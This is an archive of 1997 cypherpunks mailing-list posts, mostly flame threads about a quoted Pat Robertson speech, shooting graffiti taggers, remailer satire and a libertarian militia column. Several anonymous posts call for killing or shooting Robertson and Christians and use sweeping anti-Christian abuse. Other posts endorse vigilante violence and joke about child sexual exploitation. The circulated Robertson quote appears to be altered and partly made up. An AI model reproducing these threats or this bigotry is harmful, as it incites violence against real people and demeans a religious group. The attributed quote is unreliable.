From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sat, 23 Aug 1997 05:07:57 +0800
To: cypherpunks@ssz.com
Subject: Say No To Robertson (was Say No To Christ)
Message-ID: <199708222041.VAA04029@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> <http://apocalypse.berkshire.net/~ifas/fw/9707/update.html#aliens> 

>  Great Barrington, MA -- In a recent
>  pronouncement, television evangelist and
>  head of the Christian Coalition, Pat
>  Robertson, advocated death by stoning for
>  UFO enthusiasts.

>  Robertson used the news of the July 4th
>  Mars landing to promote his extreme
>  beliefs.

>  "The Bible says the Earth belongs to man,
>  but the heavens belong to the Lord,"
>  Robertson said.

"The earth is the LORD's and the fulness thereof;"  Psalm 24:1

Administration != Ownership
an idea seemingly beyond all politicians 

--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 23 Aug 1997 10:08:22 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <wlJZ281VLMp0hPgyv2ie3g==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 05:33 PM 8/22/97 -0400, you wrote:
>>  Great Barrington, MA -- In a recent
>>  pronouncement, television evangelist and
>>  head of the Christian Coalition, Pat
>>  Robertson, advocated death by stoning for
>>  crypto enthusiasts.

Figures.

I've never understood this dumb Christian overlooking of how the world
actually functions.  You don't "stone" people to death anymore,
there's other ways to kill them.  Second, this "Pat Robertson" is a
fascist.

>>  Robertson used the news of the July 25th
>>  Senate Commerce Committee hearing to promote
>>  his extreme beliefs. A segment on the July 27,
>>  1997 broadcast of The 700 Club featured news
>>  of the Senate hearing. Employing the
>>  historical event as a starting point, the
>>  program delved into the possibility of the
>>  existence of anonymous free speech on the
>>  Internet.

Something that should be spread, rather than destroyed, but narrow
minded Christians don't seem to get that.

>>  While Robertson viewed the Internet with
>>  suspicion, on a more serious note, he
>>  launched into a diatribe against those who
>>  entertain the existence of uninhibited free
>>  speech on the Internet. He said, in a
>>  rambling discourse, that if such a thing
>>  existed, it would simply create demons that
>>  would lead people away from Christ.

Lead them away from opression, to freedom.  According to this guy, the
people who helped stike down the CDA are devils.

Also, this clearly shows that this man is a Nazi.

>>  According to Robertson, the threat is so
>>  serious that people who believe in free
>>  speech should be put to death by stoning --
>>  according to "God's word."

Fuck him.  God's word is fascism, hate, narrow-mindedness, and a Big
Brother State.  He can take his bible and shove it up his ass.

>>  "The Bible says the Earth belongs to man,
>>  but the Word belongs to the Lord,"
>>  Robertson said.

Sorry, we own earth, and God doesn't exist.

>>  "He has given us the Earth. He also warned 
>>  us in the book of Matthew of the dangers of
>>  corrupting forces such as the Internet which
>>  can be used for evildoers:

First of all, this also proves Christians are incabable of making real
world arguments, because they rely so heavily on a 1000-page book
filled with lies.

>>  "'A good tree cannot bear bad fruit, nor can
>>  a bad tree bear good fruit. Every tree that
>>  does not bear good fruit is cut down and 
>>  thrown into the fire. Therefore, by their
>>  fruits you will know them. (Matthew 7:17-20)'

I'm not going to bother with cryptic messages sent by a god-loving
Nazi.

>>  "And you see, there is only one Word, and
>>  that is the Word of God:

Bullshit.

>>  "'In the beginning was the Word, and the Word
>>  was with God, and the Word was God. (John 1:1)'"
>>  'For the Word of the Lord is right; and all his
>>  works are done with faithfulness. He loveth
>>  mercy and judgment: the earth is full of the
>>  mercy of the Lord. (Psalm 32:4-5)'

Mercy?  How merciful is commiting mass-murder because humans don't fit
your bill, god?

Second off, cryptic responses aren't worth a shit in arguments.

The word of the lord is fascism.

>>  "Can a demon appear as a slanty-eyed,
>>  funny-looking computer hacker?

No, but I see them all the time in tghe form of men wearing robes with
crosses on them, reading from a 1000-page book of lies.

>>  Of course
>>  he can, or it can. Of course they can deceive
>>  people. And if they can lead somebody away
>>  from the true God, or away from Jesus
>>  Christ, anyway it happens, it doesn't
>>  matter, you will lose your salvation. It
>>  doesn't matter how they get you. The
>>  question is, did they get you, and under
>>  what guise?

As i said, they don't lure you away from god, they open your eyes, and
you grow up and stop the nonsense.

>>  "This is man in rebellion against God, who
>>  refuses to take God's Law. And God says,
>>  'My covenant says you won't do this. And if
>>  I find anybody in Israel,'-- "which is his
>>  pure nation" -- 'If I find anybody in
>>  Israel that's doing this sort of thing,
>>  then I want you to take him out and dispose
>>  of him."

That is fascism.  Nazi fascism.

>>  "It's a clear violation of God's word.
>>  Stone them."

That's a clear violation of my rights, shoot that Christian prick.

>>  Skipp Porteous, Freedom Writer publisher,
>>  commented: "As the founder and chairman of
>>  the Christian Coalition -- a group
>>  dedicated to becoming the most powerful
>>  political force in America -- Robertson's
>>  extreme ideas need to be taken seriously,
>>  for they not only negate pluralism, but
>>  condemn to death those who dare to believe
>>  differently."

Which is fascism.  Nazi fascism.  This loser makes Communism sound
good, considering it outlaws religion.

This post has moved me considerably.  Some parts of his speech
requires a response that words could not adequately describe.

This speech of his outlines in entirety the Christian Agenda. 
Enslaving, murder of those different, intolerance, fascism.

If Christians try to stone anyone, they should be shot right away.

Freedom-Thru-AtheismMonger
"Your god is DEAD!!! And no one cares!!! If there is a hell, I'll see
you there!!!!!" - Nine Inch Nails, "Heresy"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 23 Aug 1997 04:32:57 +0800
To: cypherpunks@Algebra.COM
Subject: US DoC on anonymizer
Message-ID: <m0x1zyQ-0003bFC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



http://www.ntia.doc.gov/ntiahome/speeches/licomnet_101496.htm

 "A Vision of Tomorrow: Using Technology to Empower, Not to Control"

   We also endorse the use of technology to give privacy protection. For
   instance, individuals can use filtering technologies that read rating
   tags and block those that fail to achieve a desired level of privacy.
   PICS technology is being adapted to screen out Web sites that do not
   adhere to a specified level of privacy protection. Another example is
   the "anonymizer," which assigns an anonymous identity to a user and
   allows the user to shield personal information from Web sites that he
   or she visits.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Sat, 23 Aug 1997 13:23:00 +0800
To: JonWienk@ix.netcom.com
Subject: Re: Shooting the taggers
Message-ID: <19970823051427.7115.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>>>There's a solution for taggers: snipers.

>From: Jonathan Wienke <JonWienk@ix.netcom.com>

>Speaking as a father and as someone who has been followed by gang 
members
>on numerous occasions after witnessing a gang assault and providing
>information to the police, I am in agreement with Tim May.


You agree that the solution for taggers is snipers?  You agree that
children who paint graffiti should be shot, perhaps killed?


>I don't want my
>child to be corrupted or assaulted by worthless, predatory scum.  There
>would be much less gang crime if private citizens could cane or 
otherwise
>deal with gangsters when they caught them in the act, pour encourager 
les
>autres, like.

Your own child gets a ride home with a crowd of high-spirited
troublemakers, and on the way home they bash in J. Cypherpunk's
mailbox with a baseball bat.  JC appears on his porch and rakes
the car with his AK-47, killing all on board.  Is this justified?

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 23 Aug 1997 14:01:51 +0800
To: cypherpunks@toad.com
Subject: Re: lack of evolutionary pressures (was Re: An end to "court appointed attorneys")
In-Reply-To: <19970821224859.24682@bywater.songbird.com>
Message-ID: <19970822224234.61793@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Aug 23, 1997 at 12:53:08AM +0100, Adam Back wrote:
> 
> Kent Crispin <kent@songbird.com> writes:
> > On Fri, Aug 22, 1997 at 12:40:29AM +0000, Vipul Ved Prakash wrote:
> > > 
> > > the idea is that the "competent" (not "chosen") are irrevocably different 
> > > from those other "incompetent and parasitical" (and not "unfortunate") 
> > > creatures that accidentally share the same physical form.
> > 
> > And how is it that one knows that one is "competent"?
> 
> One doesn't.  But if one is not competent, one is likely to find out the
> hard way.
> 
> There's precious little evolutionary pressures around at the moment,
> the race could use some more.

The evolutionary definition of "competent" is "propagate your genetic 
material".  A rough corollary is that those who raise the most children 
to child-bearing age are the most competent.  In practice it seems to 
be the case, however, that intelligence and "evolutionary competence" 
are negatively correlated.  As I am sure you are aware, there are all 
kinds of evolutionary strategies...

I think this goes a little deeper, in fact.  The kind of intelligence
that leads to high technical achievement is not even necessarily a
kind of intelligence that favors survival under difficult situations. 
If society dissolves it is my belief that computer geeks, like us, are
not the ones that will be most likely to survive.... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 23 Aug 1997 14:25:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Shooting the taggers
In-Reply-To: <199708221538.RAA21396@basement.replay.com>
Message-ID: <3.0.2.32.19970822224510.02f9f084@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:57 AM 8/22/97 -0700, Tim May wrote:
>There's a solution for taggers: snipers.
>(I'm indebted to Chip Morningstar for this succinct solution.)

I'm highly opposed to this inappropriate use of excess force.
Snipers with paint-guns?  Sure.  Snipers with rock-salt guns?  Perhaps.
Snipers with real bullets?  Sorry, it ain't worth murder.

On the other hand, the parallels between graffiti taggers and 
SPAMMERs are fairly direct...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 23 Aug 1997 05:38:21 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199708222114.XAA25018@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:30 PM 8/22/97 +0200, A druken remailer user wrote:
>  To continue...
>  Being an anonymous coward who hides behind remailers the few times

Did Patrick Oonk send this one?

>  Tired of being an anarchist? Tired of waiting for Jim Bell
>to rat you out as being a co-conspirator in his evil plot
>to overthrow the government? Tired of standing in front of your
>mirror, trying to practice acting surprised when armed forces
>from a dozen government agencies kick down your door to announce
>that someone nuked D.C., and they'd like to "ask you a few
>questions?"

If someone nuked D.C., most of those bastards would probably be dead.

Then again... they propably have em stuffed in capsules, to be opened
when communication is lost with Washington D.C.  Millions of theses
bastards!!!!  All located on the surface of Uranus.  Upon losing the
signal with D.C., they'll fly to Earth, to once again enslave the
free.  What's the solution???!!!???  We must send all our nuclear
arsenals to the surface of Uranus, and set them off, ONLY THEN WILL WE
BE SAFE!!!

>Peter Trei:
>  "Hi. I used to be a boring guy. I was so boring that none of the 
>assholes on the list even bothered insulting me, or forging posts in
>my name.
>  "Then one day, my life suddenly changed. Someone forged a post to 
>the list in my name, and it was exciting. It was like getting robbed
>at gunpoint. What a rush!

Heheheh

>Kent Crispin:
>  "This isn't Peter's conspiracy, its MINE! I mean, get real, I
>work in a secret underground lavoratory as a government shill.
>  "Think about it. Who would you expect to conspire against a
>bunch of anarchists...the government! You all know how much I
>love the government and authority. I'm Louis Freeh's secret
>lover. Janet Reno is going to have my baby.
>  "It's me! *I* am the one behind the SECRET CONSPIRACY AGAINST
>THE CYPHERPUNKS LIST. I'm a STATIST, for God's sake, why won't
>you believe me? 
>  "Because I'm not one of the elitist 'chosen?' Fuck you."

Heheh, well, at least they got Kent summed up in 3 paragraphs.

>TruthMonger:
>  "Now Hettinga is stealing Tim May's lines. What the hell is 
>going on, here? Has *everybody* on this list gone crazy?
>  "*I* am the one who is *really* behind the SECRET CONSPIRACY 
>AGAINST THE CYPHERPUNKS LIST. Think about it. Everyone knows
>that I'm a 33rd degree Mason.  No...that's Tim May.
>  "Fuck this shit. From now on, I'm posting as Toto."

heheh

>	There is no conspiracy by a secret government to destroy
>	the Constitution, enslave the people, and rule the world.

"Like them new Stealth Helicopters, equipped with devices to drown out
the sound."

"Dale, where the hell did you hear that!?"

"Alt.conspiracy.black.helicopters"

>	Remember, this is just a normal mailing list with a few list
>	members who are a little odd. There are no spooks.

Except for Kent Crispin.

>	Waco was just a tragic accident. Ruby Ridge was a simple error
>	in judgement by a government agent who really feels bad about
>	following his superiors orders. Heavily armed U.S. Marines are
>	no match for a goat-herding boy with a .22, and it is only by
>	the grace of God that they are alive today. Oswald acted alone.

Yeah, no one's safe when those god-damn goat herding sniper kids,
lucky those good soldiers hit him fast!

There is, however, a secret-conspiracy by Paul Pomes to shut down
remailers.

ConspiracyMonger
"Ahhh, look, another mutilated cow."

"Musta been them aliens."

"Nah, it's them damn black helicopters.  Killin' all my friggin
livestock."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 23 Aug 1997 12:05:06 +0800
To: cypherpunks@toad.com
Subject: Re: Welfare Solution #389
Message-ID: <o8swsXR3D6xgwDQLSgUMdA==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz wrote:

> The Swiss friends we visited earlier this week agree that this policy has
> had positive effects.  We passed a park in Zurich that had formally been
> used by heroin addicts as a "shooting gallery", and was now being used by
> ordinary citizens including families with small children.  They mentioned
> the change in the park as one of the benefits of the new policy.

  Yeah, the kids no longer have to pay "mall prices" for their heroin.
Let's be *real* here--it means the kids are giving some pervert a blow
job for fifty cents worth of heroin, instead of for twenty dollars worth
of heroin.
  Boy, just talking about this makes me miss my Uncle Jim.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 23 Aug 1997 08:53:16 +0800
To: kent@songbird.com
Subject: lack of evolutionary pressures (was Re: An end to "court appointed attorneys")
In-Reply-To: <19970821224859.24682@bywater.songbird.com>
Message-ID: <199708222353.AAA00922@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> On Fri, Aug 22, 1997 at 12:40:29AM +0000, Vipul Ved Prakash wrote:
> > 
> > the idea is that the "competent" (not "chosen") are irrevocably different 
> > from those other "incompetent and parasitical" (and not "unfortunate") 
> > creatures that accidentally share the same physical form.
> 
> And how is it that one knows that one is "competent"?

One doesn't.  But if one is not competent, one is likely to find out the
hard way.

There's precious little evolutionary pressures around at the moment,
the race could use some more.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sat, 23 Aug 1997 23:08:22 +0800
To: "John Smith" <cypherpunks@cyberpass.net
Subject: Re: Shooting the taggers
In-Reply-To: <19970823051427.7115.qmail@hotmail.com>
Message-ID: <3.0.2.32.19970823014629.006a874c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3980.1071713724.multipart/signed"

--Boundary..3980.1071713724.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 10:14 PM 8/22/97 PDT, John Smith wrote:
>Your own child gets a ride home with a crowd of high-spirited
>troublemakers, and on the way home they bash in J. Cypherpunk's
>mailbox with a baseball bat.  JC appears on his porch and rakes
>the car with his AK-47, killing all on board.  Is this justified?

I wouldn't go that far, but when a group of 10 punks armed with sawed-off,
nail-embedded baseball bats swaggers through the neighborhood, it would be
nice if the residents could disarm them and escort them to the middle of
the Mojave at gunpoint without falling afoul of the LEA's ourselves.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html
Commercial version of PGP 5.0 and related products at http://www.pgp.com
Eudora + PGP = Free, Convenient Communication Privacy

--Boundary..3980.1071713724.multipart/signed
Content-Type: application/octet-stream; name="pgp00004.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00004.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IEhoRU9BZ1RHNXZK
SkJ6V1phTXBaL2dYWEprZCtkRzQzCgppUUEvQXdVQk0vNzY0Y0pGMGtYcXB3
M01FUUlEWWdDY0NJeWpJY3RlS08yQWhhc1RqbzVtQkkvVzk3WUFvSVo2CkNB
YUt0Uy80M2szZ2t0aTVtUVgwUDYyago9eEJHegotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3980.1071713724.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 23 Aug 1997 17:12:26 +0800
To: cypherpunks@Algebra.COM
Subject: In Defense of Pat Robertson and the "700 Club"
Message-ID: <v03102808b02455faf291@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Returning home from a night on the town here in scenic Santa Cruz (The
Kingsmen, "Louie Louie" on the Boardwalk, and Dick Dale, "Miserlou" ("Pulp
Fiction") at a local club,  I see various and sundry articles blasting Pat
Robertson. Some are obvious Toto-spoofs, and some quote Robertson as saying
UFO enthusiasts ought to be stoned to death.

In late 1993, months after the Clipper travesty was unveiled, Pat
Robertson's "The 700 Club" denounced Clipper as an unconstitutional, and
perhaps Satanic, plot. Not being a Believer, I can't comment on the Satanic
part.

(At the Hackers Conference, 1993, we sat and watched the "700 Club"
videotape with amazement.)

But I sure do know that I felt more commonality with Pat Robertson and "The
700 Club" than I ever have felt with Billy Bob Clinton and his fake
Christian piety.

If Pat Robertson called for the death by stoning of UFO believers, it was
almost certainly rhetorical hyperbole, like Rush Limbaugh's suggestions of
what ought to be done to lesbians.

I'm not a believe in any religion. but I have more in common with Pat
Robertson or the Grand Mufti of Mormonism than I do with Bill and Hillary
and George and Barbara and Ronnie and Nancy and....


--Tim May, who thinks bashing of Christians can be carried too far.


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 23 Aug 1997 17:15:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Breaking Legal News.... (fwd)
In-Reply-To: <Pine.SOL.3.96.970822190844.17248A-100000@rigel.cyberpass.n et>
Message-ID: <v03102809b024597fc63a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:18 PM -0700 8/22/97, Greg Broiles wrote:
>>The American legal system has spun out of control. I don't argue that she
>>should not have the right to sue...everybody does. But a judge can quickly
>>dismiss a case on a matter of law.
>
>According to the Mercury-News, the suit has been dismissed.
>
><http://www.sjmercury.com/news/breaking/docs/016909.htm>

Thanks for this info. I looked at it.

Believe me, when I wrote my article this morning (Friday morning)  I did
not know this was happening.

I wonder if Alan still thinks there is merit to the case?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 23 Aug 1997 09:07:14 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199708230052.CAA03827@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



FROM MOUNTAIN MEDIA
    FOR IMMEDIATE RELEASE DATED AUG. 31, 1997
    THE LIBERTARIAN, By Vin Suprynowicz
    'Necessary to the security of a free State'

    J.P. recently wrote: "I agree that things like the court system
can be
privately funded. ... However, my greatest concern is that a military
that
has to run a "pledge drive" in order to provision itself would not be
capable of posing a credible deterrent to any nations bent on
conquering
the US. If  you could address this point, I would appreciate it.

    #  #  #

  O.K. ...

  First, the notion that it's all right to steal at gunpoint "some
modest
amount, as long it serves a legitimate public need" ignores the simple
moral truth that the end cannot be allowed to thus justify the means.

  When I loot your paycheck without your permission to do "good
works," I
can't possibly know whether that leaves you one dollar short of the
money
you needed to buy medicine for your dying mother, or one dollar short
of
the money you needed to complete an experiment that might result in
the
discovery of a cure for cancer.

  There is literally no way to measure the opportunities I thus steal
from
you, and how their potential results might weigh against what (start
ital)I(end ital) decide to do with your money. (Even assuming power
won't
corrupt me until I can blithely assure you that "tobacco subsidies"
are "in
the public interest.")

  But on to J.P.'s main point: the need to fund a standing, federal
army.

  The only thing that grants the United States government any
legitimacy --
that supposedly differentiates it from some gang of bandits that
swarms
down from the hills and extracts tribute for as long as the coast
seems
clear -- is the Constitution.

  The Constitution would have not have been ratified by enough states
to
take effect without solemn binding promises that a Bill of Rights
would
quickly be enacted. Without the Bill of Rights, the Constitution is
invalid
and of no force.

  The Bill of Rights prominently features the Second Amendment, which
instructs us: "A well regulated Militia, being necessary to the
security of
a free State, the right of the people to keep and bear Arms, shall not
be
infringed."

  This is a founding principle of our nation. Should the national
government eviscerate or foreswear that principle, it is not only our
right, but our duty, in Jefferson's words, to "alter or abolish it,
and to
institute new Government."

  The founding document does not find ANY role for a standing,
professional
army in  preserving "the security of a free state." As a matter of
fact,
the founders traveled the land, preaching the EVILS of a professional,
standing army. And they were right.

  Our domestic, professional, standing army today consists of
individual
legions, somewhat on the Roman model but also on the model of the
personalized Waffen SS Divisions created as adjuncts to Hitler's
Wehrmacht,
with personal loyalty oaths sworn to the Fuhrer, and customized
uniforms
adopted with silver dagger or death's-head totems, etc.

  Currently going through precisely the kind of expansion and rearming
that
transformed Hitler's personal bodyguard from the scruffy SA
brownshirts of
1934, to the well-armed, professional SS divisions of 1940, our own
paramilitary legions are today dubbed "ATF, "FBI," "FBI Hostage
Rescue,"
"DEA," etc.

  Some of these units now number in the THOUSANDS, and are authorized
to
deploy COMBAT AIRCRAFT. They routinely train with precisely the kinds
of
explosives and automatic weapons you or I could go to prison for
merely
possessing, and practice rapid helicopter deployment and "dynamic
entry"
into URBAN AREAS. These guys are not just getting ready to investigate
the
next Lindbergh kidnapping.

  Can such outfits exist in parallel with a strong citizen militia?
They
WILL not, and they are currently demonstrating this to us in spades,
by
infiltrating with agents provocateurs every legitimate citizen militia
unit
they can find, framing the leaders on amorphous "conspiracy" charges,
and
sending them away for decades.

  As they say in the popular sword and costume series, "There can be
only one."

  But what is equally important, is to realize that a citizen militia
is
ADEQUATE to defend the security of a free state, even against the
largest,
most powerful, most technologically advanced power in the world.

  George Washington proved this in 1781. And for anyone who harbored
the
illusion that "conditions have so changed in 200 years" that this was
no
longer the case, the Vietnamese and then the Afghans successively
proved it
again, in our own lifetimes.

  Next time: Do we need a standing army, at all?

Vin Suprynowicz is the assistant editorial page editor of the Las
Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com.
The web
site for the Suprynowicz column is at http://www.nguworld.com/vindex/.
The
column is syndicated in the United States and Canada via Mountain
Media
Syndications, P.O. Box 4422, Las Vegas Nev. 89127.

***


Vin Suprynowicz,   vin@lvrj.com


"A well-regulated population being necessary to the security of a
police
state, the right of the Government to keep and destroy arms shall
not be infringed."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 23 Aug 1997 07:19:18 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <199708220630.BAA17428@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.93.970823045043.254A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 22 Aug 1997, William H. Geiger III wrote:

> Not really as those who work for a living will always be able to afford
> better weapons. :P

I have always found such arms races pointless and unproductive.  Now
instead of paying a small amount of money to the goverment you have to pay
a massive amount of money for a securaty system.  Big thing with video
camers, motion sensors and plungomatic securaty gards.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Version: 2.6.3i
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 23 Aug 1997 11:34:24 +0800
To: cypherpunks@toad.com
Subject: When did he get traded to the Black Hawks?
Message-ID: <199708230320.FAA17748@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> At 05:33 PM 8/22/97 -0400, you wrote:
> >>  Great Barrington, MA -- In a recent
> >>  pronouncement, television evangelist and
> >>  head of the Christian Coalition, Pat
> >>  Robertson, advocated death by stoning for
> >>  crypto enthusiasts.
 
> I've never understood this dumb Christian overlooking of how the world
> actually functions.  You don't "stone" people to death anymore,
> there's other ways to kill them.  Second, this "Pat Robertson" is a
> fascist.

  I'm a Frisbeetarian. I believe that, when you die, your soul goes up
on the roof, and you can't get it down.
  Nonethemore, I take umbrage at much of the recent Christian-bashing
taking place on the cypherpunks list. Bash Pat Robertson, 'make fun' 
of Jesus, but please, stop painting with the wide brush. If I claim 
to speak for the cypherpunks, then I would expect to be roundly booed
and set upon by Mongers with long teeth and shot at by whoever May
choose to do so. I expect the same for Pat Robertson when he speaks
for Jesus. He's an asshole!
  However, the cypherpunks mailing list serves a purpose for giving
us a forum to discuss and debate issues that are important to us, and
the Christian faith does likewise for those who think evolution is
a Satanist plot, and Jesus plays goalie for the Chicago Blackhawks.
(Jesus Saves! {But Gretsky puts in the rebounds.})

> >>  While Robertson viewed the Internet with
> >>  suspicion, on a more serious note, he
> >>  launched into a diatribe against those who
> >>  entertain the existence of uninhibited free
> >>  speech on the Internet.

  Uuuhhh...forget what I just said. Let's kill this fucker and
anyone who tunes him in on "the day of the sun."

> >>  According to Robertson, the threat is so
> >>  serious that people who believe in free
> >>  speech should be put to death by stoning --
> >>  according to "God's word."

  This sounds like a misrepresentation of Robertson's beliefs,
by someone who has an axe to grind, but now that I've got the
adrenaline flowing, I don't give a shit. Let's kill him!
 
> Fuck him.  God's word is fascism, hate, narrow-mindedness, and a Big
> Brother State.  He can take his bible and shove it up his ass.

  That costs extra... At least, in the places I frequent, it does.

> Sorry, we own earth, and God doesn't exist.

  If God is Love, and Love is Blind, then Ray Charles must be God.
 
> >>  "He has given us the Earth. He also warned
> >>  us in the book of Matthew of the dangers of
> >>  corrupting forces such as the Internet which
> >>  can be used for evildoers:

  Why do people say things like this, without giving pointers
to the relevant URL's? If I'm going to avoid sinful web sites,
then I need to check them out first, so that I know what I am
avoiding. 
  Being the forgiving type, I would also feel obligated to keep
checking these evil web sites out on a regular basis, to see if
they have repented, yet.
 
> First of all, this also proves Christians are incabable of making real
> world arguments, because they rely so heavily on a 1000-page book
> filled with lies.

  God (pardon the expression), but you have a negative attitude. There
are many valuable things one can learn from studying the Bible.
  e.g.
Q?: Who was the smallest person in the Bible?
A!: The guard who fell asleep on his watch!

Q?: Which stretches further, rubber or skin?
A!: Skin. The Bible tells of a man who tied his ass to a tree, and
    walked over a mountain.
 
> >>  "'A good tree cannot bear bad fruit, nor can
> >>  a bad tree bear good fruit. Every tree that
> >>  does not bear good fruit is cut down and
> >>  thrown into the fire. Therefore, by their
> >>  fruits you will know them. (Matthew 7:17-20)'

  So, if your brother has a boyfriend...

> >>  "And you see, there is only one Word, and
> >>  that is the Word of God:
 
> Bullshit.

  I've been wondering what that word was. "Bullshit..."
  I like that word. Does that make me a Christian?
 
> >>  "'In the beginning was the Word, and the Word
> >>  was with God, and the Word was God. (John 1:1)'"

  Hey! I just typed 'God.'
  'God.' Look! I did it again.
  Watch this... Bullshit!
  I'm starting to like this Christian religion thing.

> Second off, cryptic responses aren't worth a shit in arguments.

  That's because you don't take the time to understand them.
  Remember, "Patience comes to those who wait."
 
> >>  "Can a demon appear as a slanty-eyed,
> >>  funny-looking computer hacker?

  Well, I've never actually *met* Bill Gates, but...
 
> >>  Of course
